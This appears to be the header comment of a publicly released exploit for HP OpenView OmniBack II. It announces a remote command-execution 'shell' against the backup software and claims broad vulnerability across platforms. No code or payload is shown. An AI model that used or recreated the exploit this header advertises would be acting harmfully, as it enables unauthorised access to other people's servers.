HP OpenView OmniBack II Generic Remote Exploit

                                                / *
 * HP OpenView OmniBack II generic remote Exploit by DiGiT - [email protected]
 *
 * Omniback is a network backup system by HP, widely used.
 * took me some time to figure out how omniback communicated then it was just
 * a matter of finding a bug.
 *
 * This lovely little exploit will give you a remote "shell" of sorts, you
 * can execute any command on the system.
 *
 * As far as I can tell this thing is vuln on every Omniback I have seen.
 * I've tried HP-UX, Linux so far, with diff versions etc. It needs some change
 * to work on windows, but should very extremly easy, be creative.
 *
 * Greets, #!security.is, #!ADM#$%$#, #hax & HP systems for this proggie ;>
 *
 * - DiGiT [[email protected]]
 *
 * I'm releasing this because it leaked and kids got their hands on it ;<
 * sorry.
